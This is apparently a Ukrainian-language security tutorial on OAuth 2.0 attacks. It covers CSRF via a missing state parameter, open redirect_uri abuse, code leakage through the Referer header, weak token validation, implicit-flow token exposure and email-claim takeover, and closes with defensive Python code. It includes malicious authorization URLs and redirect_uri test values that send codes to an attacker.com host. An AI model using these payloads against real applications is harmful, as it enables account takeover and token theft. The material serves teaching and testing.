Як працює OAuth 2.0
OAuth 2.0 — протокол авторизації що дозволяє додаткам (клієнтам) отримати обмежений доступ до ресурсів на ім'я користувача без знання його пароля.
Типовий Authorization Code Flow:
1. Користувач натискає "Увійти через Google"
2. Додаток перенаправляє на Google:
https://accounts.google.com/oauth/authorize?
client_id=APP_ID&
redirect_uri=https://app.com/callback&
response_type=code&
scope=email&
state=RANDOM_STATE
3. Користувач входить у Google і підтверджує доступ
4. Google перенаправляє на redirect_uri з кодом:
https://app.com/callback?code=AUTH_CODE&state=RANDOM_STATE
5. Додаток обмінює code на access_token:
POST https://oauth2.googleapis.com/token
grant_type=authorization_code&code=AUTH_CODE&
client_secret=SECRET&redirect_uri=...
6. Google повертає access_token
7. Додаток використовує token для доступу до API
Атака 1: Відсутній або передбачуваний state параметр (CSRF)
Суть: параметр state запобігає CSRF атакам. Якщо він відсутній або статичний — атакуючий може змусити жертву прив'язати свій обліковий запис до акаунту атакуючого.
Exploit:
1. Атакуючий ініціює OAuth flow, зупиняється на кроці 4
(отримує URL з кодом але не завершує авторизацію)
2. Відправляє цей URL жертві:
https://victim-app.com/callback?code=ATTACKER_CODE
3. Жертва (вже залогінена) переходить по посиланню
4. Додаток прив'язує ATTACKER_CODE до аккаунту жертви
5. Атакуючий тепер може увійти в акаунт жертви через свій Google
Перевірка:
1. Почни OAuth flow
2. Отримай callback URL з code
3. Відкрий той самий URL в іншому браузері (без сесії)
4. Якщо авторизація пройшла — state не перевіряється
Атака 2: Відкритий redirect_uri (Open Redirect)
Суть: якщо OAuth сервер не валідує redirect_uri суворо — атакуючий може вкрасти authorization code.
Сценарій 1: Wildcard
# Зареєстровано: https://app.com/callback
# Сервер дозволяє: https://app.com/*
# Атака: знайти open redirect на app.com
# https://app.com/redirect?url=https://attacker.com
# Шкідливий OAuth URL:
https://accounts.google.com/oauth/authorize?
client_id=APP_ID&
redirect_uri=https://app.com/redirect?url=https://attacker.com&
response_type=code
# Жертва авторизується -> code йде на attacker.com через redirect
Сценарій 2: Path traversal
# Зареєстровано: https://app.com/callback
# Вразливий сервер приймає: https://app.com/callback/../evil
redirect_uri=https://app.com/callback%2F..%2Fevil
Атака 3: Authorization Code Interception через Referer
Суть: якщо /callback сторінка завантажує зовнішні ресурси (аналітика, CDN) — URL з code може витекти через Referer заголовок.
GET https://app.com/callback?code=SECRET_CODE
# Сторінка callback завантажує:
<script src="https://analytics.example.com/track.js">
<img src="https://cdn.company.com/logo.png">
# В запитах піде:
Referer: https://app.com/callback?code=SECRET_CODE
Перевірка: переглянь мережеві запити в DevTools при OAuth callback. Чи є code у Referer будь-якого запиту?
Атака 4: Недостатня валідація token'а
Суть: деякі додатки не валідують access_token — вони просто довіряють email або user_id що повертає OAuth provider.
# Вразлива реалізація
@app.route('/oauth/callback')
def callback():
code = request.args.get('code')
token = exchange_code_for_token(code)
user_info = get_user_info(token)
# ПОМИЛКА: не перевіряємо аудиторію токену
user = User.query.filter_by(email=user_info['email']).first()
login_user(user)
# Атака: зареєструвати свій Google OAuth app,
# отримати token для жертви (якщо знаємо email),
# підмінити token у запиті
Атака 5: Token Leakage через Fragment (#)
Суть: в Implicit Flow (старий, не рекомендований) access_token передається через fragment URL.
https://app.com/callback#access_token=TOKEN&token_type=bearer
# Проблема: fragment може витікати через:
# - document.referrer якщо є редирект
# - window.location.hash доступний JS на сторінці
# - Browser history
Атака 6: Account Takeover через Email Claim
Суть: якщо можна зареєструвати Google аккаунт з email жертви, або OAuth provider не верифікує email.
1. Жертва: alice@company.com
2. Атакуючий реєструє Google аккаунт з alice@company.com
(деякі провайдери не верифікують email при реєстрації)
3. OAuth flow: Google повертає email=alice@company.com
4. Додаток шукає User по email -> знаходить акаунт жертви
5. Атакуючий увійшов!
Де шукати вразливості OAuth
1. Чи є state параметр? Чи він валідується?
2. Перевір redirect_uri: що прийме сервер?
- Спробуй: redirect_uri=https://attacker.com
- Спробуй: redirect_uri=https://app.com.attacker.com
- Спробуй: redirect_uri=https://app.com/callback/../evil
3. Чи є ?code= в URL на callback сторінці?
Чи завантажуються зовнішні ресурси?
4. Перевір /oauth/callback в Burp — яким чином
використовується code? Чи перевіряється?
5. Implicit Flow: чи є #access_token в URL?
Захист
# 1. State параметр — криптографічно випадковий і прив'язаний до сесії
import secrets
state = secrets.token_urlsafe(32)
session['oauth_state'] = state
@app.route('/callback')
def callback():
if request.args.get('state') != session.pop('oauth_state', None):
abort(403)
# 2. Суворе порівняння redirect_uri
ALLOWED_REDIRECT_URIS = ['https://app.com/oauth/callback']
if redirect_uri not in ALLOWED_REDIRECT_URIS:
raise ValueError
# 3. Валідація аудиторії токену (audience claim)
decoded = jwt.decode(token, key, audience='APP_CLIENT_ID')
# 4. Використовувати Authorization Code Flow + PKCE замість Implicit